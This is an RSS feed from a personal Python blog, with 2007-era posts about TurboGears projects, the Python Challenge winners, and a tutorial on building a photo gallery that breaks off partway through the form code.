<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nadav Samet&#039;s Blog &#187; python</title>
	<atom:link href="http://www.thesamet.com/tags/python/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thesamet.com</link>
	<description>Because everyone needs a blog</description>
	<lastBuildDate>Sat, 07 Aug 2010 21:58:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>15Gammons: Backgammon in TurboGears</title>
		<link>http://www.thesamet.com/blog/2007/09/10/15gammons-backgammon-in-turbogears/</link>
		<comments>http://www.thesamet.com/blog/2007/09/10/15gammons-backgammon-in-turbogears/#comments</comments>
		<pubDate>Mon, 10 Sep 2007 20:52:18 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/09/10/15gammons-backgammon-in-turbogears/</guid>
		<description><![CDATA[I&#8217;ve finally launched it. 15Gammons is an online realtime backgammon website. Its backend is written entirely in Python using TurboGears and Twisted. In fact, it is the first TurboGears project I&#8217;ve started (over 18 months ago); and the last one &#8230; <a href="http://www.thesamet.com/blog/2007/09/10/15gammons-backgammon-in-turbogears/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve finally launched it. <img src="http://www.thesamet.com/blog/wp-content/uploads/2007/09/screenshot.jpg" title="screenshot.jpg" alt="screenshot.jpg" align="right" height="212" width="319" /> <a href="http://www.15gammons.com"></a></p>
<p><a href="http://www.15gammons.com">15Gammons</a> is an online realtime <a href="http://en.wikipedia.org/wiki/Backgammon">backgammon</a> website. Its backend is written entirely in Python using TurboGears and Twisted.</p>
<p>In fact, it is the first TurboGears project I&#8217;ve started (over 18 months ago); and the last one I ended&#8230; I finally had the time to give it the final touches and open it to the public.</p>
<p>Back in 2005 I learned, together with everyone else, that web browsers are capable of doing much more than they were originally designed to do. Javascript libraries were popping out every few days giving drag and drop and animation effects. Everyone were talking about AJAX. I couldn&#8217;t stop myself from starting to code a game using the latest tools at the time.</p>
<p>15Gammons utilizes the so-called Comet technique of streaming events to the browser over a long-lived HTTP connection for achieving low latency. The Comet part is written using Twisted. I am planning to share some useful code in a later post.</p>
<p>The user interface was written using the Script.aculo.us library. Flash is not required, but is optional if you like sound effects.</p>
<p>Check it out &#8211; <a href="http://www.15gammons.com">play backgammon online</a> in <a href="http://www.15gammons.com">15Gammons.com</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/09/10/15gammons-backgammon-in-turbogears/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Speeding Up your Application with Javascript Templates (and cjson)</title>
		<link>http://www.thesamet.com/blog/2007/07/30/speeding-up-your-application-with-javascript-templates-and-cjson/</link>
		<comments>http://www.thesamet.com/blog/2007/07/30/speeding-up-your-application-with-javascript-templates-and-cjson/#comments</comments>
		<pubDate>Mon, 30 Jul 2007 08:07:17 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/07/30/speeding-up-your-application-with-javascript-templates-and-cjson/</guid>
		<description><![CDATA[The web application project that I am currently working on (the one for which I&#8217;ve written TGFusionCharts) has some pages with huge tables, generated using the Kid Template Language. Page loading times became more and more notable as the table &#8230; <a href="http://www.thesamet.com/blog/2007/07/30/speeding-up-your-application-with-javascript-templates-and-cjson/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The web application project that I am currently working on (the one for which I&#8217;ve written <a href="http://www.thesamet.com/TGFusionCharts/">TGFusionCharts</a>) has some pages with huge tables, generated using the <a href="http://www.kid-templating.org/">Kid Template Language</a>. Page loading times became more and more notable as the table sizes went up. On some pages, the rendering time could be as long as 2 seconds.</p>
<p>As I already had methods that return the table data as a list of dictionaries,  I thought that I could try sending that data to the browser as JSON, and then process it there using Javascript.</p>
<p>I then came across <a href="http://code.google.com/p/trimpath/wiki/JavaScriptTemplates">JST</a>, which is a small Javascript component that renders  JSON data with a given template. The template itself can be embedded in the HTML document inside a hidden TEXTAREA element. This seemed like an easy solution. Converting the table part of the Kid template to a JST template was straight forward. Looking at the page loading times now, the speed improvement is remarkable.</p>
<p>After doing that I was able to gain another performance improvement by converting my data to JSON using <a href="http://cheeseshop.python.org/pypi/python-cjson">python-cjson</a>, which is a fast JSON encoder/decoder module implemented in C.</p>
<p>I&#8217;ve collected some measurements, which are of course very specific to my application, and should be treated as such.</p>
<table border="1" cellpadding="5" cellspacing="0" width="300">
<tr>
<th></th>
<th align="center">KID</th>
<th align="center">JST</th>
</tr>
<tr>
<td align="center">1st Run</td>
<td align="right">10.96s</td>
<td align="right">2.19s</td>
</tr>
<tr>
<td align="center">2nd Run</td>
<td align="right">11.14s</td>
<td align="right">2.28s</td>
</tr>
<tr>
<td align="center">3rd Run</td>
<td align="right">11.02s</td>
<td align="right">2.28s</td>
</tr>
</table>
<p><script type="text/javascript"><!--
google_ad_client = "pub-9393140612616722";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = "FFFFFF";
google_color_link = "0000FF";
google_color_bg = "FFFFFF";
google_color_text = "000000";
google_color_url = "008000";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Each run consisted of generating the page (i.e. calling an exposed function) ten times. The data structure was preloaded to a global variable before the run, so this time is not included. However, some code that is executed by TurboGears&#8217; expose decoration is included in the measurement.</p>
<p>As you can see, using this technique the page generation times is now about 5 times faster.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/07/30/speeding-up-your-application-with-javascript-templates-and-cjson/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Add Eye-Catching Flash Charts to Your TurboGears Application</title>
		<link>http://www.thesamet.com/blog/2007/07/25/add-eye-catching-flash-charts-to-your-turbogears-application/</link>
		<comments>http://www.thesamet.com/blog/2007/07/25/add-eye-catching-flash-charts-to-your-turbogears-application/#comments</comments>
		<pubDate>Wed, 25 Jul 2007 12:03:48 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/07/25/add-eye-catching-flash-charts-to-your-turbogears-application/</guid>
		<description><![CDATA[I&#8217;ve released today the first version of TGFusionCharts. TGFusionCharts is a TurboGears widget built around InfoSoft&#8217;s FusionCharts, which lets you easily add beautiful animated flash charts to your web application. The package support a wide varierty of chart types, including &#8230; <a href="http://www.thesamet.com/blog/2007/07/25/add-eye-catching-flash-charts-to-your-turbogears-application/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/07/tgfc.png" title="FusionChart Sample" alt="FusionChart Sample" align="right" />I&#8217;ve released today the first version of <a href="http://www.thesamet.com/TGFusionCharts/">TGFusionCharts.</a></p>
<p>TGFusionCharts is a TurboGears widget built around InfoSoft&#8217;s <a href="http://www.fusioncharts.com">FusionCharts</a>, which lets you easily add beautiful animated flash charts to your web application.</p>
<p>The package support a wide varierty of chart types, including pie charts, column charts, and line charts. Some of the charts comes with a 2D and a 3D version.</p>
<p>Of course, every good thing must have some drawbacks. Your visitors must have the Flash plugin installed (98% of US users have it installed, according to a study stated in Wikipedia). Moreover, the FusionChart component has a commercial license, but comes with a free trial. If you are not too bothered by that, take a look at <a href="http://www.thesamet.com/TGFusionCharts/">TGFusionCharts</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/07/25/add-eye-catching-flash-charts-to-your-turbogears-application/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Winners of the Python Challenge</title>
		<link>http://www.thesamet.com/blog/2007/04/08/winners-of-the-python-challenge/</link>
		<comments>http://www.thesamet.com/blog/2007/04/08/winners-of-the-python-challenge/#comments</comments>
		<pubDate>Sun, 08 Apr 2007 14:46:35 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/04/08/winners-of-the-python-challenge/</guid>
		<description><![CDATA[The Python Challenge had started two years ago, in April 2005. The basic idea of the Python Challenge was to introduce people to the wonderful world of Python by creating a puzzle which will encourage them to solve programmatic problems &#8230; <a href="http://www.thesamet.com/blog/2007/04/08/winners-of-the-python-challenge/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.PythonChallenge.com">Python Challenge</a> had started two years ago, in April 2005. The basic idea of the Python Challenge was to introduce people to the wonderful world of Python by creating a puzzle which will encourage them to solve programmatic problems with a bit of Python code. It got amazingly popular and some people had admitted they are strongly addicted to it.</p>
<p>The vast popularity of the Python Challenge had pushed the creative juices in my head and a new puzzle with actual rewards is being &#8220;cooked&#8221; while you are reading this post.</p>
<p><!--adsense#square--></p>
<p>This is the right moment to announce who were the great winners of the Python Challenge. The following ten were the first to  successfully complete all the 33 levels of the puzzle. The list is sorted by completion time from the first to the last. Next to the names you will find the first thought which occurred in their minds at the finishing line.</p>
<p>Each of the winners get the prize of being mentioned in this list (I can link to your site if you wish). <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>But before we&#8217;d go on with the list of winners, I&#8217;d like to thank to all those who participated in the Python Challenge and those who suggested levels. I&#8217;d like to thank my girlfriend Avital who gave me the inspiration. Special thanks go to Tim Peters and Martijn Pieters who helped moderating the forums.</p>
<ol>
<li><strong>bit4:</strong> I finally had time to code and run the etch-a-s[ck]etch solver and get past the smiling python. Lovely!</li>
<li><strong>wo:</strong> Good Game!!I&#8217;m learning python since 2005-05-05.</li>
<li><strong>University_of_Ulm_ms55_gh5:</strong> We needed 3 hours to fully reveal that smiling python image by hand&#8230; (and 4 fields had been wrong).But of course it was fun &#8211; even as there was the possibility that the next image would be of size 100&#215;100 *g*.</li>
<li><strong>cosimo:</strong> Three weeks of challenge. Really great time for me! (excluding one or two levels <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><strong>gbrandl:</strong> Was fun, again! Loved especially 32&#8230;</li>
<li><strong>DJohn</strong> The &lt;spoiler removed&gt; one required too much external knowledge.  But the rest have been fun.</li>
<li><strong>mfuzzey:</strong> Great fun &#8211; very addictive.</li>
<li><strong>Hemlock:</strong> Loved it!</li>
<li><strong>acw1668:</strong> I really enjoy the journey and I hope there are more levels soon.</li>
<li><strong>Fraxas:</strong> Thanks so much for doing this puzzle for us all, thesamet.  it&#8217;s been great fun.<strong>Pharaohmagnetic:</strong> I&#8217;ve been working on this challenge with Fraxas for the past several weeks. In that time, it has intrigued, frustrated, and thrilled us to no end.  We finally made it to his page.  Congratulations on making an awesome puzzle.</li>
</ol>
<p>Here are few more quotes from people who completed the challenge later:</p>
<ul>
<li><strong>ajohnson:</strong> Wow, that was great.  I&#8217;m sure my work suffered while I devoted much time to this.  I do feel I needed more help than I should have, but it was still much fun!</li>
<li><strong>confused:</strong> Thanks for some really great challenges, it has been a lot of fun.</li>
<li><strong>sdsmith:</strong> At the end at last! It&#8217;s been a fun couple of days&#8230; ahem&#8230; weeks&#8230; ahem&#8230; well, anyway, thanks for all the superb problems!</li>
<li><strong>Pinzo:</strong> Hey! I&#8217;ve done it!!! I&#8217;ve done it!!!Continue the great job!</li>
<li><strong>jazzgeorge:</strong> This was a lot of fun.  I didn&#8217;t know python at all when I started, and this was a great way to learn!</li>
<li><strong>divergentdave:</strong> These puzzles were a great way for me to learn more about Python, such as stuff like string[::-1].</li>
<li><strong>Franio:</strong> more levels please!!!</li>
<li><strong>Xofon:</strong> Guess I have not been first, but this was not why I struggled through all of this. A pleasant way to learn Python.</li>
<li><strong>Asi.tak:</strong> Thank you for this wonderfull game. I really liked it. I&#8217;ve never done anything in Python before and I feel that this Challenge was the best way to learn it and start to like it. It was a lot of fun. So thanks a lot. I am looking forward to new levels. <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
<li><strong>nageroc:</strong> Can it really be the end? Thanks for the challenge!</li>
<li><strong>nmcserra:</strong> This was great fun! Thanks for creating this challenge.</li>
<li><strong>arnache:</strong> Great site.</li>
<p>Could never have done more than half of them without the hints forum: some of them are just to hard without indication (don&#8217;t pretend the hints you give are helpful), and easy once we have it. But that&#8217;s the nature of riddles isn&#8217;t it ?</p>
<li><strong>interesse:</strong> Solved the first level on July 30th 2006. Now we have December 11th. What a time burner&#8230;</li>
<li><strong>grzes:</strong> that was fun. took me a long time though. when i started a little less then a year ago all i knew about python was the wikipedia entry on it&#8230; this challenge served me as a python tutorial of sorts&#8230;</li>
<li><strong>tomk:</strong> Yes!!!! Finally made it, thanks for a really great way to waste loads of time <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li><strong>newfweiler:</strong> I made it!  Wow!  Thanks for a fun way to learn Python.  I&#8217;m going to go send you a second Paypal donation just because this was worth more than buying another Python book.</li>
</ul>
<p>And finally, here are some quotes from quick fellows who have completed the challenge before it had 33 levels:</p>
<ul>
<li><strong>jtauber:</strong> This challenge is fantastic. Clever, addictive and really gets your mind working. I feel like I&#8217;m playing Myst.</li>
<li><strong>japyh:</strong> Please, stop, no more. I beg you. <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><strong>Hang:</strong> What was fun! Very good brain exercises.It &#8216;forced&#8217; me to discover something new python stuff, and make some new friends too.</li>
<li><strong>birkenfeld:</strong> Yay! Has been fun till here, hope there&#8217;ll be 100 soon! &lt;wink&gt;</li>
</ul>
<p>To be continued.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/04/08/winners-of-the-python-challenge/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Screenshot l10n</title>
		<link>http://www.thesamet.com/blog/2007/04/02/screenshot-l10n/</link>
		<comments>http://www.thesamet.com/blog/2007/04/02/screenshot-l10n/#comments</comments>
		<pubDate>Mon, 02 Apr 2007 09:47:12 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/04/02/screenshot-l10n/</guid>
		<description><![CDATA[It&#8217;s always funny to see your content translated or mentioned in another language. This time it is special, since even the screenshot (and food) got some localization. Original: Translated: Related posts: TurboGallery: Making a Flickr Killer in 30 Minutes Flat. &#8230; <a href="http://www.thesamet.com/blog/2007/04/02/screenshot-l10n/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s always funny to see your content translated or mentioned in another language. <a href="http://kerolin.jspeed.jp/Computer/Informatics/tflickr070330.writeback">This time</a> it is special, since even the screenshot (and food) got some localization.</p>
<p>Original:</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/Gallery1.png" rel="lightbox" title="Evangalizing Firefox in Thailand"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/Gallery1.small.jpg" alt="Evangalizing Firefox in Thailand" /></a></p>
<p>Translated:</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/04/tgal.jpg" rel="lightbox" title="TurboGallery - Japanese"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/04/tgal.jpg" alt="TurboGallery - Japanese" /></a></p>
<p>Related posts:</p>
<ul>
<li><a href="http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/">TurboGallery: Making a Flickr Killer in 30 Minutes Flat.</a></li>
<li><a href="http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/">Intoduction to TurboGears and Comparison with Other Web Frameworks</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/04/02/screenshot-l10n/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making a Flickr Killer With TurboGears &#8211; Part 2: A Flickr Clone in 37 Minutes Flat</title>
		<link>http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/</link>
		<comments>http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/#comments</comments>
		<pubDate>Tue, 20 Feb 2007 11:22:05 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/</guid>
		<description><![CDATA[This is the second installment of the lecture I gave at the Israeli Pythoneers Meeting. In case that you missed it, it is recommended that you read the first part of it. At this point, I closed OpenOffice Impress and &#8230; <a href="http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is the second installment of the lecture I gave at the  <a href="http://www.python.org.il">Israeli Pythoneers Meeting</a>. In case that you missed it, it is recommended that you read <a href="http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/">the first part of it</a>.</p>
<p>At this point, I closed OpenOffice Impress and said that I would demonstrate how quickly you could get a functional Web application up and running with TurboGears.</p>
<h2>Setting Things Up</h2>
<p>I’ve quick-started a new project called TurboGallery…</p>
<div class="dean_ch" style="white-space: wrap;">
$ tg-admin quickstart<br />
Enter project name: TurboGallery<br />
Enter package name [turbogallery]: &lt;Enter&gt;<br />
Do you need Identity (usernames/passwords) in this project? [no] &lt;Enter&gt;</div>
<p>…and gone inside its directory to run it:</p>
<div class="dean_ch" style="white-space: wrap;">
$ <span class="kw3">cd</span> TurboGallery<br />
$ python start-turbogallery.py</div>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/TurboGallery-Welcome.png" rel="lightbox" title="Welcome to TurboGears"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/TurboGallery-Welcome.small.jpg" /></a><br />
I started Firefox and browsed to http://localhost:8080. “There is already something to see on the site,” I said. The TurboGears’ default welcome page was showing up.</p>
<p>“The next thing I always do is to delete the entire body of the welcome template.” So, I opened welcome.kid in my <a href="http://www.vim.org">favorite text editor</a> and did just that. I then refreshed the page in Firefox. All the contents were gone except for the TurboGears’ header and the footer, which said, “TurboGears under the hood.” Someone asked if there was any way to remove those two remaining items. “Absolutely,” I said. It was time to mention master.kid. I opened the file and explained that it is used to render the layout that is common to all pages. As such, you do not have to duplicate it in all your templates. I next removed the TurboGears’ footer but left the header in its place.</p>
<p>I then opened model.py and added a class that would represent a single photo:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">from</span> <span class="kw3">datetime</span> <span class="kw1">import</span> <span class="kw3">datetime</span></p>
<p><span class="kw1">class</span> Photo<span class="br0">&#40;</span>SQLObject<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; title = UnicodeCol<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; date = DateTimeCol<span class="br0">&#40;</span>default=<span class="kw3">datetime</span>.<span class="me1">now</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; image = BLOBCol<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; thumbnail = BLOBCol<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
<p>A photo will have a title and a date field, which indicates the time it was uploaded. The field’s default argument makes the date of a newly created photo object be the current date. That way, you don&#8217;t need to specify this information every time you create a new photo. In the above definition, we don&#8217;t give the date field the current time. Rather, we give it a function that returns the current time. Whenever a photo is created, this function will be called to determine the value for this field. We store the images inside the database together with a thumbnail. BLOB stands for binary large object. The thumbnail part was not actually used in the tutorial.</p>
<p>Next, I created a database with</p>
<div class="dean_ch" style="white-space: wrap;">
$ tg-admin sql create</div>
<p>I was then asked how TurboGears knows where and how to access the database. I replied that the default TurboGears’ setting uses SQLite, which creates a database-in-a-file. It is very convenient to have your database readily available as a normal file while your project is in its development and testing phases.</p>
<p>To save time, I have prepared in advance a database that contains four photos. I replaced the database file that was just created with my copy. The next thing to do will be to display the photos on the main page. I modified the index() method into…</p>
<div class="dean_ch" style="white-space: wrap;">
@expose<span class="br0">&#40;</span>template=<span class="st0">&quot;turbogallery.templates.welcome&quot;</span><span class="br0">&#41;</span><br />
<span class="kw1">def</span> index<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; photos = Photo.<span class="kw3">select</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">dict</span><span class="br0">&#40;</span>photos=photos<span class="br0">&#41;</span></div>
<p>…and uncommented the “from model import *” line. The index() method is called whenever the front page of the Web site is viewed. I explained the expose() decorator, which makes a method available to the outside world. Without it, the method could not be accessed from the Web. The template argument specifies which template should be used to render the page.</p>
<p>The index() method gets a list of all photos from the database and returns it inside a dictionary.   TurboGears passes this dictionary to the template. I then moved back to welcome.kid and added the following to the body:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;ul<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;li</span> <span class="re0">py:for</span>=<span class="st0">&quot;photo in photos&quot;</span><span class="re2">&gt;</span></span>${photo.title}<span class="sc3"><span class="re1">&lt;/li<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/ul<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;hr</span><span class="re2">/&gt;</span></span></div>
<p>I refreshed the page, and the list of photos was displayed. It is educational to view the source of the resulting page, but the people who were listening to my lecture wanted to see the photos straightaway.</p>
<h2>Seeing Some Photos</h2>
<p>To see the photos, we’ll have to add an IMG element to the list. The IMG element will get the photo file from another URL. I’ve changed the welcome.kid list into…</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;ul</span> <span class="re0">class</span>=<span class="st0">&quot;photo_list&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;li</span> <span class="re0">py:for</span>=<span class="st0">&quot;photo in photos&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;img</span> <span class="re0">src</span>=<span class="st0">&quot;/images/${photo.id}&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">id</span>=<span class="st0">&quot;image${photo.id}&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;160&quot;</span><span class="re2">/&gt;</span></span><span class="sc3"><span class="re1">&lt;br</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;a</span> <span class="re0">href</span>=<span class="st0">&quot;/photo_info/${photo.id}&quot;</span><span class="re2">&gt;</span></span>${photo.title}<span class="sc3"><span class="re1">&lt;/a<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/li<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/ul<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;hr</span><span class="re2">/&gt;</span></span></div>
<p>…and then added the following photo_info() method to the controller:</p>
<div class="dean_ch" style="white-space: wrap;">
@expose<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="kw1">def</span> images<span class="br0">&#40;</span><span class="kw2">self</span>, photo_id<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;Hello &quot;</span>+photo_id</div>
<p>I next browsed to /images/world, and the browser displayed “Hello world.” The goal of this step was to demonstrate to the audience how TurboGears (CherryPy) maps URLs to methods. It was also intended to illustrate how easily a part of the URL can be transformed into positional arguments.<br />
The right thing to put in this function would be a query that would obtain the photo from the database and return the associated jpeg file. Here is the code:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span>content_type=<span class="st0">&#8216;image/jpeg&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> images<span class="br0">&#40;</span><span class="kw2">self</span>, photo_id<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; photo = Photo.<span class="me1">get</span><span class="br0">&#40;</span>photo_id<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> photo.<span class="me1">image</span></div>
<p>I refreshed the page, and the photos I’d prepared were now showing. (I also changed the CSS file when no one was looking to have this layout.)<br />
<a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/Gallery1.png" rel="lightbox" title="Evangalizing Firefox in Thailand"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/Gallery1.small.jpg" alt="Evangalizing Firefox in Thailand" /></a><br />
In the second picture, you can see me evangelizing for the use of Firefox in Thailand.<br />
Since this is just an example application to make things simple, the image is sent in full size and is resized by the browser.<br />
Clicking on the caption below the images sends us to a page we haven’t yet created. This page will display the photo in full size together with some statistics on it. I saved welcome.kid as photo_info.kid and changed the body contents to:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;h1<span class="re2">&gt;</span></span></span>Photo Details for &quot;${photo.title}&quot;</p>
<p>&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;img</span> <span class="re0">id</span>=<span class="st0">&quot;image${photo.id}&quot;</span> <span class="re0">src</span>=<span class="st0">&quot;/images/${photo.id}&quot;</span><span class="re2">/&gt;</span></span></p>
<p>&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;ul<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;li<span class="re2">&gt;</span></span></span>Image size: ${len(photo.image)} bytes<span class="sc3"><span class="re1">&lt;/li<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;li<span class="re2">&gt;</span></span></span>Uploaded at: ${photo.date}<span class="sc3"><span class="re1">&lt;/li<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/ul<span class="re2">&gt;</span></span></span></div>
<p>The corresponding method in controllers.py() would be:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span>template=<span class="st0">&quot;turbogallery.templates.photo_info&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> photo_info<span class="br0">&#40;</span><span class="kw2">self</span>, photo_id<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; photo = Photo.<span class="me1">get</span><span class="br0">&#40;</span>photo_id<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">dict</span><span class="br0">&#40;</span>photo=photo<span class="br0">&#41;</span></div>
<h2>Share Your Photos</h2>
<p>An online gallery application is quite useless if its users can’t upload photos from their own computers. As such, we need to create an image upload form. In TurboGears, creating forms and validating user input is very easy. I’ve added a form definition to the top of controllers.py. The first part defines the fields:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">from</span> turbogears.<span class="me1">widgets</span> <span class="kw1">import</span> *<br />
<span class="kw1">from</span> turbogears <span class="kw1">import</span> *</p>
<p><span class="kw1">class</span> AddPhotoFields<span class="br0">&#40;</span>WidgetsList<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; title = TextField<span class="br0">&#40;</span>label=<span class="st0">&#8216;Title:&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; image = FileField<span class="br0">&#40;</span>label=<span class="st0">&#8216;Photo:&#8217;</span><span class="br0">&#41;</span></div>
<p>The form will have a text input field for the title of the photo as well as a field that enables the selection of an image file from the user’s computer. The second part of the definition is the validation schema for this form:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">class</span> AddPhotoSchema<span class="br0">&#40;</span>validators.<span class="me1">Schema</span><span class="br0">&#41;</span>:<br />
